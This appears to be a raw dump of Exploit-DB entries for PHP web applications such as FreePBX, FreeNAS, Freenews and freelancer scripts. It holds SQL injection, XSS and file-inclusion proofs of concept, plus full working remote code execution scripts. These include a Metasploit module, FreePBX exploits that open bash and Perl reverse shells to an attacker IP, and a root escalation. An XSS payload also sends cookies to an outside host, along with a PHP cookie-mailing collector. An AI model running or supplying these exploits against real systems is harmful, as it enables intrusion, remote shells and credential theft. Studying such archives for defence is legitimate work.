deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18127
Description: Freelancer Calendar 1.01 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-19
Author: muuratsalo

Exploit:
------------------------------------------------------------------------
Freelancer calendar <= 1.01 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/freelancercal/


[0x01] Vulnerability overview:

Freelancer calendar <= 1.0.1 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/worldcalendar/category_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/Copy_of_calendar_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/customer_statistics_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/customer_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/task_statistics_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
Exploit-DB #14390
Description: Freelancer Marketplace Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-17
Author: Sid3^effects

Exploit:
Name : Freelancers Marketplace Script Upload Vulnerability
Date : july 17,2010
Critical Level 	: HIGH
vendor URL :http://www.guruscript.com/
google dork:Powered by Guruscript.com
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,SeeMe,RoadKiller 
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 

NOtice : The persistent Xss and upload vuln is in other 2 versions also namely Plus,Gold scripts 
#######################################################################################################
Description:
Freelancers Marketplace Script is an Extensive and Powerful script written in PHP and Ajax to launch your own Freelancers website. Create your own global talent search marketplace with this script. Service seekers can post their requirements through this script and the service providers can place their bids for doing the job. Highly configurable features and fully customizable colors, styles, fonts and graphics make this script very very special.
#######################################################################################################
Xploit: Persistent Upload Vulnerability

Step 1 : Register as a user.

Step 2 : Now go and post your project 
DEMO URL :http://site.com/post_project.php

Step 3 : The attacker can insert thier evil scripts or shells  in the "describe" section.

Step 4 : Now check the main sites for the projects and you may find your script or shell  ;) 
DEMO URL : http://site.com/all_projects.php
#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #34713
Description: Freelancers - 'placebid.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-17
Author: Moudi

Exploit:
source:  https://www.securityfocus.com/bid/43475/info

FreeWebScriptz Freelancer Script is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FreeWebScriptz Freelancer Script 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/script/freelancer/placebid.php?id= ADD THIS XSS: 1<script>alert[PII_REDACTED]82)</script>
Exploit-DB #34714
Description: Freelancers - 'post_resume.php?jobid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-17
Author: Moudi

Exploit:
source:  https://www.securityfocus.com/bid/43475/info
 
FreeWebScriptz Freelancer Script is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
FreeWebScriptz Freelancer Script 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/script/freelancer/post_resume.php?jobid= ADD THIS XSS: 1<script>alert[PII_REDACTED]68)</script>
Exploit-DB #14389
Description: Freelancers Marketplace Script - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-17
Author: Sid3^effects

Exploit:
Name : Freelancers Marketplace Script Persistent XSS Vulnerability
Date : july 17,2010
Critical Level 	: HIGH
vendor URL :http://www.guruscript.com/
google dork:Powered by Guruscript.com
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,SeeMe,RoadKiller 
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
Freelancers Marketplace Script is an Extensive and Powerful script written in PHP and Ajax to launch your own Freelancers website. Create your own global talent search marketplace with this script. Service seekers can post their requirements through this script and the service providers can place their bids for doing the job. Highly configurable features and fully customizable colors, styles, fonts and graphics make this script very very special.
#######################################################################################################
Xploit: Persistent XSS  Vulnerability

Step 1 : Register as a user.

Step 2 : Now go and post your project 
DEMO URL :http://site.com/post_project.php

Step 3 : The attacker can insert xss scripts in the "title" and the "describe project" area.

Attack Pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> 

Step 4 : Now check the main sites for the projects and you may find your script ;) 
DEMO URL : http://site.com/all_projects.php

DEMO URL :http://site.com/project_3_marqueeh1xss3d-by-sid3effectsh1marque.html

#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #7527
Description: FreeLyrics 1.0 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-12-19
Author: Piker

Exploit:
################## Piker #######################################
#
#
#    FreeLyrics Remote Source Code Disclosure Vulnerability
#

#
#    Affected software: FreeLyrics
#    Vendor: http://lyrics.sourceforge.net/
#    Risk: Medium
#
################################################################

#
#    http://[target]/[path]/source.php?p=[FILE]
#
#   PoC: http://[target]/[path]/source.php?p=config.php
#
#   
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]

#            D.O.M Labs - Security Researchers
#           www.domlabs.org
#
#
################################################################

# milw0rm.com [2008-12-19]
Exploit-DB #16313
Description: FreeNAS - 'exec_raw.php' Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: freenas_exec_raw.rb 11127 2010-11-24 19:35:38Z jduck $
###

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeNAS exec_raw.php Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution flaw
				in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
				to the exec_raw.php page, an attacker may be able to execute arbitrary
				commands.

				NOTE: This module works best with php/meterpreter payloads.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ],
				],
			'Payload'	=>
				{
					'Space'    => 6144,
					'DisableNops' => true,
					'BadChars'    => "`\"' %&x",
				},
			'Targets'	=>
				[
					[ 'Automatic Target', { } ]
				],
			'Privileged' => 'true',
			'Platform' => 'php',
			'Arch' => ARCH_PHP,
			'DisclosureDate' => 'Nov 6 2010',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end

	def exploit

		page = rand_text_alpha_upper(rand(5) + 1 ) + ".php"

		shellcode = payload.encoded

		sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"

		print_status("Sending exploit page '#{page}'")

		res = send_request_raw(
			{
				'uri'	=> "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
			}, 10)

		if (res and res.code == 200)
			print_status("Triggering payload...")
			send_request_raw({ 'uri' => "/#{page}" }, 5)
			handler
		else
			print_error("Exploit failed.")
			return
		end

	end

end

=begin
meterpreter > sysinfo
Computer: freenas.local
OS      : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010     root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386
meterpreter > getuid
Server username: root (0)
meterpreter >
=end
Exploit-DB #35124
Description: FreeNAS 0.7.2.5543 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-21
Author: db.pub.mail

Exploit:
source: https://www.securityfocus.com/bid/45522/info

FreeNAS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

FreeNAS 0.7.2.5543 is vulnerable; other versions may also be affected.

http://www.example.com/quixplorer/index.php?action=list&order=name&srt=yes&lang=en%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E


http://www.example.com/quixplorer/index.php?action=list&order=nan%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Eme&srt=yes
Exploit-DB #28875
Description: Freenews 1.1 - 'Aff_News.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-30
Author: MoHaNdKo

Exploit:
source: https://www.securityfocus.com/bid/20795/info

Freenews is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/aff_news.php?chemin=shell.txt?
Exploit-DB #2490
Description: Freenews 1.1 - 'moteur.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-08
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Freenews v1.1 <= (chemin) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/freenews1_1.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include ("$chemin/moteur/moteur_form.php");
include ("$chemin/moteur/moteur_tab_results.php");

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[freenews_path]/moteur/moteur.php?chemin=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,DJR

www.cyber-warrior.org
www.team-rootshell.com
irc.milw0rm.com #rootshell

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-08]
Exploit-DB #22047
Description: FreeNews 2.1 - Include Undefined Variable Command Execution
Type: webapps
Platform: php
Date: 2002-11-26
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6258/info

FreeNews is a freely available, open source News software package. It is written in PHP, and designed for use on Unix and Linux operating systems.

Programming errors in FreeNews could lead to the inclusion of arbitrary files on remote servers in the web application. It is possible for a remote user to place commands in these include files that could result in execution on the local host. This would make remote arbitrary command execution as the web user possible. 

http://example.com/aff_news.php?chemin=http://example.org/include with
http://example.org/config.php
http://example.org/options.inc.php
http://example.org/freenews_functions.inc.php
Exploit-DB #52031
Description: FreePBX 16 -  Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2024-06-01
Author: Cold z3ro

Exploit:
# Exploit Title: FreePBX 16 -  Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Cold z3ro
# Date: 6/1/2024
# Tested on: 14,15,16
# Vendor: https://www.freepbx.org/

<?php
///
/// FREEPBX [14,15,16] API Module Authenticated RCE 
/// Orginal Difcon || https://www.youtube.com/watch?v=rqFJ0BxwlLI
/// Cod[3]d by Cold z3ro 
///
$url = "10.10.10.186"; // remote host
$backconnectip = "192.168.0.2";
$port = "4444"; 
$PHPSESSID = "any valid session even extension";

	echo "checking $url\n";
	$url = trim($url);
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, 'http://'.$url.'/admin/ajax.php?module=api&command=generatedocs');
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
	curl_setopt($ch, CURLOPT_TIMEOUT, 2);
	curl_setopt($ch, CURLOPT_HTTPHEADER, [
		'Referer: http://'.$url.'/admin/config.php?display=api',
		'Content-Type: application/x-www-form-urlencoded',
	]);
	curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$PHPSESSID);
	curl_setopt($ch, CURLOPT_POSTFIELDS, 'scopes=rest&host=http://'.$backconnectip.'/$(bash -1 >%26 /dev/tcp/'.$backconnectip.'/4444 0>%261)');
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

	echo $response = curl_exec($ch)."\n";

	curl_close($ch);

?>
Exploit-DB #2665
Description: FreePBX 2.1.3 - 'upgrade.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-28
Author: Mehmet Ince

Exploit:
Script: freePBX
Version: v2.1.3
Script Download: http://puzzle.dl.sourceforge.net/sourceforge/amportal/freepbx-2.1.3.tgz
Code: require_once($amp_conf["AMPWEBROOT"] . "/admin/functions.inc.php");
Exploit: upgrades/2.1beta1/upgrade.php?amp_conf[AMPWEBROOT]=evilscripts?
Found: Cyber-Security
Thanks: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28]
Exploit-DB #18650
Description: FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2012-03-23
Author: muts

Exploit:
#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts, SSL update by Emporeo
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/ 
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
import ssl
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443
extension="1000"

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Exploit-DB #32214
Description: FreePBX 2.11.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2014-03-12
Author: @0x00string

Exploit:
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;

# Exploit Title: FreePBX 2.9,2.10,2.11,12 Remote Command Execution
# Google Dork: n/a
# Date: 2/25/14
# Exploit Author: @0x00string
# Vendor Homepage: http://www.freepbx.org/
# Software Link: http://mirror.freepbx.org/freepbx-2.11.0.tar.gz
# Version: 2.11 tested working
# Tested on: Ubuntu 12.04, 13.10
# CVE : CVE-2014-1903


#	References:
#	http://seclists.org/bugtraq/2014/Feb/42
#	http://issues.freepbx.org/browse/FREEPBX-7123
#	http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1903
#
#	Developer Advisory:
#	http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice



# in /admin/config.php
#	// handle special requests
#	if (!isset($no_auth) && isset($_REQUEST['handler'])) {
#		$module = isset($_REQUEST['module'])	? $_REQUEST['module']	: '';
#		$file 	= isset($_REQUEST['file'])		? $_REQUEST['file']		: '';
#		fileRequestHandler($_REQUEST['handler'], $module, $file);
#		exit();
#	}


# in /admin/library/view.functions.php
#	    case 'api':
#	      if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) {
#	        $function = $_REQUEST['function'];
#	        $args = isset($_REQUEST['args'])?$_REQUEST['args']:'';
#	
#	        //currently works for one arg functions, eventually need to clean this up to except more args
#	        $result = $function($args);
#	        $jr = json_encode($result);
#	      } else {
#	        $jr = json_encode(null);
#	      }
#	      header("Content-type: application/json");
#	      echo $jr;
#	    break;


$| = 1;

my $sock = new IO::Socket::INET (
    PeerHost => $ARGV[0],
    PeerPort => '80',
    Proto => 'tcp',
);
die "$!\n" unless $sock;
my $func = $ARGV[1];
my $args = "";
my $i = 0;
my $max = 1;
foreach(@ARGV) {
	if ($i > 1) {
		$args .= $_;
	}
	unless($i > (scalar(@ARGV) - 2)) {
		$args .= "%20";
	}
	$i++;
}
my $payload = "display=A&handler=api&file=A&module=A&function=" . $func . "&args=" . $args;
chomp($payload);
print "payload is " . $payload . "\n";
my $packet = 	"GET http://" . $ARGV[0] . "/admin/config.php?" . $payload . "\r\n\r\n";
my $size = $sock->send($packet);
shutdown($sock, 1);
my $resp;
$sock->recv($resp, 1024);
print $resp . "\n";
$sock->close();
exit(0);
Exploit-DB #33442
Description: FreePBX 2.5.2 - '/admin/config.php?tech' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-28
Author: Global-Evolution

Exploit:
source: https://www.securityfocus.com/bid/37482/info

FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

FreePBX 2.5.2 is vulnerable; other versions may also be affected. 

location.href='https://www.example.com/admin/admin/config.php?display=trunks&tech=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/etc/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)
Exploit-DB #33443
Description: FreePBX 2.5.2 - Zap Channel Addition Description Parameter Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-28
Author: Global-Evolution

Exploit:
source: https://www.securityfocus.com/bid/37482/info
 
FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
FreePBX 2.5.2 is vulnerable; other versions may also be affected. 

<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A");
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("notification@global-evolution.info", $subject, $msg);
header ("location: http://127.0.0.1:8080/admin/");
?>


<form name="editZapchandid" action="" method="post" onsubmit="return checkZapchandid(editZapchandid);">
<input type="hidden" name="extdisplay" value="">
<input type="hidden" name="channel" value="">
<input type="hidden" name="action" value="add">
<table><tr><td colspan="2"><h5>Add Channel<hr></h5></td></tr>
<tr><td><a href="#" class="info">Channel:<span>The Zap Channel number to map to a DID</span></a></td>
<td><input size="5" type="text" name="channel" value="" tabindex="1"></td>
</tr><tr><td><a href="#" class="info">Description:<span>A useful description describing this channel</span></a></td>
<td><input size="40" type="text" name="description" value="INSERT 0WN SCRIPTCODE HERE!!!" tabindex="2"></td>
</tr><tr><td><a href="#" class="info">DID:<span>The DID that this channel represents. The incoming call on this channel
will be treated as if it came in with this DID and can be managed with Inbound Routing on DIDs</span></a></td>
<td><input size="40" type="text" name="did" value="" tabindex="3"/></td>
</tr><tr><td colspan="2"><br><input name="Submit" type="submit" value="Submit Changes" tabindex="4">
</td></tr></table></form>